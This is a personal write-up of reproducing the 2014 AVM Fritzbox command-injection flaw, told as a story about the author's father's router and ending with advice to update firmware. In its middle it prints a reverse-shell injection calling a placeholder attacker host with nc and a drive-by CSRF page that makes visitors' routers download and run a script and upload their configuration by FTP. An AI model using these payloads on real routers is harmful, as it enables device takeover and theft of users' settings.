(a night-tale by bias for Hacking-Lab 2014)

Why you shouldn't trust your ISP appliance

(or how to own a Fritzbox ...)

It all started a few month ago when I received a phone call from my dad, who just read an article in the local newspaper. He told me he scanned it, sent it to me by mail and asked me to read it as soon as possible to check at his home if every thing was OK...

« Hacking cases.....8000 € loss.....Fritzbox..... !!! »

My dad knows that I love these things.... :-)

As soon as I came home, I read the article he sent me, and... kinda felt frustrated because, there was nothing interesting other than noob informations (Wireless, organized crime, money loss).

« 2 Customers had their SIP credentials stolen and calls had been made for a couple thousand euros... » (Die Neckar Zeitung))

I turned my computer on, loaded AVM's website, and read the disclaimer saying that there was nothing wrong with their appliance, that the whole thing happened because of the WPS well-known vulnerabilities (*) and that every user should be aware of the risks if using appliances WPS default configuration.

* http://adaywithtape.blogspot.ch/2012/01/cracking-wpa-using-wps-vulnerability.html

As my dad didn't have a SIP provider, but a plain ISDN line, I didn't think it was a big thing...

A week later, he called me again and told me that there was another article, this time in 'Der Spiegel' (he lives in Germany), and sounded much more alarmed. This time the article was much more precisely written than the first one and described a 'really' dangerous flaw in all AVM products and that every user of these appliances should turn the remote access off.

Sounded more interesting to me...

I connected remotely in his LAN and checked that no Remote WEB access and no WPS was activated and made a little cleaning. Suddenly – don't know exactly what happened – no more access and, i only learned later because I was in the train, he didn't have Internet access anymore.

The only signs were the POWER and INFO led blinking constantly, no more access to the web interface and no Internet (phenomenon described here) :

http://www.mactechnews.de/forum/discussion/fritzbox-blinkt-rot-absolut-kein-Zugriff-294895.html)

Funnily, even the phone stopped working... (same problem as he had 6 month before with outgoing calls working but incoming calls hang up after one ring tone followed by a fast busy – at this time some tech support guy told me there was an unexplainable call forwarding to another city and that it would be too expensive to investigate where it came from...)

As he was a little bit desperate about having to fight again with his provider (calls, mails, letters, …), I decided to go on site the next weekend and started to look for a 'good' IT equipment store where I could buy him a better appliance (actually very hard to find without ordering on-line...)

I spent the rest of the week reading technical information about Fritzbox appliances and kept thinking that interesting write-ups about Fritz-box security issues might come:

I found the following interesting information :

fritzbox recovery procedure
http://www.fritzmod.net/en/tips-and-tricks/fritzbox-recovery/

Replace/Tweak a fritzbox with a custom made image :
http://freetz.org/

Very interesting KB about fritzbox appliances
http://www.wehavemorefun.de/fritzbox/Main_Page

As planned, the next week-end was spent in Germany and I fortunately managed to re-flash the fritzbox, connect to Internet again and...update to the latest firmware upgrade...

(in the meantime there had been another article in the news that AVM finally admitted a vulnerability and released a new firmware upgrade.

At this point, it was almost sure that some curious people would start to investigate about the problem... It didn't take long until I found this very interesting blog :

http://www.insinuator.net/2014/03/how-to-own-a-router-fritzbox-avm-vulnerability-analysis/comment-page-1/

- reverse engineering the two firmware (before and after update)
- comparing differences
- finding the vulnerable POST parameter with command injection

The vulnerabilities being what they were, the researchers decided not to reveal them to the public before contacting « several parties » first. They also announced they would discuss it publicly at Troopers '14 in the *“Ethics of Security Work & Research” panel...*

...

I would have loved to replay the analysis, but i'm far from as good as I would like to be in reverse engineering and would have loved to go at the Troopers 2014 Con to listen to them (;-) → E1), but unfortunately faith decided differently...

Now that I knew that, and actually a lot about fritzbox and freetz, only the POC was missing.

I grabbed my best google-FU and started searching again... a little while later … i got it :

http://breaking.systems/blog/2014/04/avm-fritzbox-root-rce-from-patch-to-metasploit-module-i

Enough informations to start testing my now fritz-FU :-)

At the same time, I unfortunately had to change job and look for a new apartment, so I didn't have a lot of time to continue my personal experimentation. The good news, though, is that in my new place, there was a ….....

Fritz!box 7390, I could freely use...

(I probably don't have to mention that the owner was informed and that nothing was done illegally...)

The interesting part started :

- curl man pages
- tried some few requests to understand the encoding techniques (; = %3B &= %26 |=%7c)
- discovered that I had root access (id)
- looked at the few busybox commands available
- .. and finally the reverse shell :

  nc.traditional -v -l -p 6666 and ...%26nc%20hackerip%206666%20-e%20/bin/sh -l

Altough there was nothing new for me in the command used and the process, I was surprised I did it and so easily.

With the help of the wehavemorefun.de website, i have been able to explore the whole appliance and of course all configuration files... very interesting informations !!

Still seeking for informations on-line, I read somewhere (sorry, dont remember where) that attacking the appliance was also vulnerable even if remote access was disabled... what an interesting challenge !!

Did a few tests, learned about the concept of cross-domains policies and concluded I had to find an other way :

http://en.wikipedia.org/wiki/Same-origin_policy

Started from scratch again after reading some more... and finally got it again... :

- ftp server and web server (in my case, in the lan and on my machine)
- a MIPSEL compiled busybox version with more functions (fput helped...)
- XSRF (IMG tag type)

and that was it !!

```
<html>
<body>
<iframe src="gf.html" width="0" height="0"></iframe>
</body>
</html>
```

```
<html>
<body>
<img src="http://fritz.box/cgi-bin/webcm?var:lang=%26wget%20-O%20%2fvar%2ftmp%2ffreetz%20http%3A%2f
%2fbiasip%2ffreetz_update.sh%3B%20chmod%20%2bx%20%2fvar%2ftmp%2ffreetz">image not found on
server...</img>
<img src="http://fritz.box/cgi-bin/webcm?var:lang=%26%2fvar%2ftmp%2ffreetz">image not found on server...</img>
</body>
</html>
```

Every user loading my fake webpage :

- would have an evil script downloaded from a computer on their fritzbox in /tmp/
- the script would then be executed
- all their fritzbox configurations uploaded through ftp in a file named with the public IP

my last test (until now) was to build a MIPSEL cross compiling toolchain and I can now compile directly for the fritzbox from my x86 computer

http://freetz.org/wiki/help/howtos/development/create_cross-compiler_toolchain

Conclusion

I never really liked the free appliance (for many different reasons) from this ISP and choosing AVM's Fritzbox for their new product definitely didn't make me change my mind ... (not only because of this story!)

I asked my test fritzbox owner, how long he had it from the ISP : the answer was one year. I talked about this at my work after my colleague explained me his recent troubles with his ISP ; I explained him the urge of updating it and asked him to check the firmware version : the answer was that he received his new appliance 3 month ago and that it was not updated.

I tried to find on-line informations from that ISP about the vulnerability : no success

I'd love to order a new xDSL and try with the appliance I'd receive : I'm almost ready to bet that it'll be exactly the same... (I actually worked for that ISP in the past, and i'm glad I changed).

So, if you own one of these, be sure to check if it's updated !!
For me, the best solution is to unplug it and change for a Open-wrt or DD-wrt appliance...

bias

Edit 1 : I had a very interesting IT discussion about ISP and this whole problem a few days ago (while drinking a beer with an old friend :-), i unfortunately can't say much about it and can't reveal my sources :

- The good side is that I heard about e-mails going out to customers (finally), automatic upgrade provisioning, ...). -
- The scary side : They are not aware of XSRF attacks and the reason why lots of customers were loosing Internet recently will probably remain unknown...